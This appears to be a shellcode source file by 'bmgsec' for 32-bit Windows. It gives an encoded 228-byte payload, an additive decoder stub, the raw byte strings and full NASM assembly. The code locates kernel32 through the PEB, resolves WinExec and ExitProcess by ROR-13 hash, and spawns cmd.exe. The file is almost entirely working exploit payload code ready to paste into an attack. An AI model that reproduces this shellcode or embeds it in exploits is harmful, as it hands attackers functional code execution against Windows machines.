; dynamiccmd.asm ; ; Dynamic WinExec (cmd.exe - 228 bytes) ; ; //Additive decoder, 20 bytes [ bmgsec.com.au ] ; "\xeb\x0d\x5e\x31\xc9\xb1\xe4\x80\x06\x02\x46\xe2\xfa\xeb\x05\xe8" ; "\xee\xff\xff\xff" ; ; //Encoded Dynamic cmd.exe, 228 bytes, exitMethod=ExitProcess [ bmgsec.com.au ] ; "\x2f\xbe\x2f\xc7\x2f\xd0\xe9\x6e\x54\x2f\xbe\x62\x89\x3e\x2e\x83" ; "\xbe\x76\x0a\x89\x3e\x0a\x89\x6e\x1a\xab\x89\x3e\x06\xe9\x07\x89" ; "\x3e\x32\x8b\x3e\x7a\x89\x3e\x3a\x5c\xc1\x5e\x89\x6a\x22\x22\x89" ; "\x43\x3a\x89\x52\x03\x76\xff\xe8\x89\x48\x16\x89\x58\x1e\xff\xe9" ; "\xe1\x32\x47\x89\x32\x89\xff\xec\x2f\xfd\x2f\xbe\xfa\xaa\x82\xbe" ; "\x72\x05\xbf\xcd\x0b\xff\xc5\xe9\xf2\x39\x7a\x22\x26\x73\xdf\x89" ; "\x58\x22\xff\xe9\x64\x89\x0a\x49\x89\x58\x1a\xff\xe9\x89\x02\x89" ; "\xff\xe6\x87\x42\x22\x1a\x5f\xc1\xe9\x26\xab\x4e\x50\xe6\xa6\xfd" ; "\xfd\xfd\x87\x05\x7f\xc2\x06\xfe\xfe\xfe\x7f\xc5\x02\xfe\xfe\xfe" ; "\x37\xcc\x73\xe4\xc1\xe6\x17\xfe\xfe\xfe\x96\xfc\x88\x0c\x7c\xd6" ; "\xe0\x71\x7f\xea\x06\xfe\xfe\xfe\x87\xe3\xe6\x57\xfd\xfd\xfd\x87" ; "\xc0\xe9\xe0\x5c\x8b\x7b\x02\x87\xef\x7f\xbf\x06\xfe\xfe\xfe\xe6" ; "\xb4\xfd\xfd\xfd\xe9\x0f\x57\x2f\xd0\x50\x86\x4f\x05\x4f\xfd\x53" ; "\x02\x2f\xbe\x4e\xfd\x53\x06\xe6\xe8\xfd\xfd\xfd\x61\x6b\x62\x2c" ; "\x63\x76\x63\x4c" ; ; Without encoding - 228 bytes - Contains nulls: ; "\xeb\x0f\x5e\x31\xc9\x66\xb9\x2e\x01\x80\x06\x02\x46\xe2\xfa" ; "\x31\xc0\x31\xc9\x31\xd2\xeb\x70\x56\x31\xc0\x64\x8b\x40\x30" ; "\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\xeb" ; "\x09\x8b\x40\x34\x8d\x40\x7c\x8b\x40\x3c\x5e\xc3\x60\x8b\x6c" ; "\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b" ; "\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31" ; "\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b" ; "\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b" ; "\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3" ; "\xeb\x28\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x81\xc4\x08" ; "\x00\x00\x00\x81\xc7\x04\x00\x00\x00\x39\xce\x75\xe6\xc3\xe8" ; "\x19\x00\x00\x00\x98\xfe\x8a\x0e\x7e\xd8\xe2\x73\x81\xec\x08" ; "\x00\x00\x00\x89\xe5\xe8\x59\xff\xff\xff\x89\xc2\xeb\xe2\x5e" ; "\x8d\x7d\x04\x89\xf1\x81\xc1\x08\x00\x00\x00\xe8\xb6\xff\xff" ; "\xff\xeb\x11\x59\x31\xd2\x52\x88\x51\x07\x51\xff\x55\x04\x31" ; "\xc0\x50\xff\x55\x08\xe8\xea\xff\xff\xff\x63\x6d\x64\x2e\x65" ; "\x78\x65\x4e" ; ; Written by bmgsec (bmgsec [at] gmail.com / www.bmgsec.com.au) [SECTION .text] global _start _start: ; eax will hold return values ; ecx will hold string pointers ; edx will hold NULL xor eax, eax xor ecx, ecx xor edx, edx jmp short Jumper find_kernel32: push esi xor eax, eax mov eax, [fs:eax+0x30] test eax, eax js find_kernel32_9x find_kernel32_nt: mov eax, [eax + 0x0c] mov esi, [eax + 0x1c] lodsd mov eax, [eax + 0x8] jmp short find_kernel32_finished find_kernel32_9x: mov eax, [eax + 0x34] lea eax, [eax + 0x7c] mov eax, [eax + 0x3c] find_kernel32_finished: pop esi ret find_function: pushad mov ebp, [esp + 0x24] mov eax, [ebp + 0x3c] mov edx, [ebp + eax + 0x78] add edx, ebp mov ecx, [edx + 0x18] mov ebx, [edx + 0x20] add ebx, ebp find_function_loop: jecxz find_function_finished dec ecx mov esi, [ebx + ecx * 4] add esi, ebp compute_hash: xor edi, edi xor eax, eax cld compute_hash_again: lodsb test al, al jz compute_hash_finished ror edi, 0xd add edi, eax jmp short compute_hash_again compute_hash_finished: find_function_compare: cmp edi, [esp + 0x28] jnz find_function_loop mov ebx, [edx + 0x24] add ebx, ebp mov cx, [ebx + 2 * ecx] mov ebx, [edx + 0x1c] add ebx, ebp mov eax, [ebx + 4 * ecx] add eax, ebp mov [esp + 0x1c], eax find_function_finished: popad ret Jumper: jmp short StartCode ResolveSymbolsForDLL: lodsd push eax ; push hashes for find_function push edx call find_function mov [edi], eax ; save found function address add esp, 0x08 add edi, 0x04 ; increment edi by 4 (due to function address being saved) cmp esi, ecx ; check if esi meets length of hash list jne ResolveSymbolsForDLL ResolveSymbolsForDLLComplete: ret GetHashes: call HashesReturn ; WinExec hash = 0x98FE8A0E db 0x98 db 0xFE db 0x8A db 0x0E ; ExitProcess hash = 0x7ED8E273 db 0x7E db 0xD8 db 0xE2 db 0x73 StartCode: sub esp, 0x08 ; allocate space on stack for function addresses mov ebp, esp ; set ebp call find_kernel32 ; find kernel32 base address mov edx, eax ; mov return value into edx jmp short GetHashes ; locate address of hashes HashesReturn: pop esi ; get hash addresses from the stack lea edi, [ebp + 0x04] ; function addresses are stored here mov ecx, esi add ecx, 0x08 ; length of hash list call ResolveSymbolsForDLL ; get addresses of function calls jmp short GetCommand CommandReturn: pop ecx ; get cmd.exe string xor edx, edx ; zero out edx push edx ; push NULL mov [ecx + 7], dl ; insert NULL push ecx ; pointer to cmd.exe ; address of WinExec(path, showcode) call [ebp + 4] ; WinExec(0, cmd.exe) ExitProcess: xor eax, eax ; zero out eax push eax ; push NULL ; ebp+8 is address of ExitProcess(statuscode) call [ebp + 8] ; ExitProcess(0) GetCommand: call CommandReturn db 'cmd.exeN' ; N is a placeholder for a null byte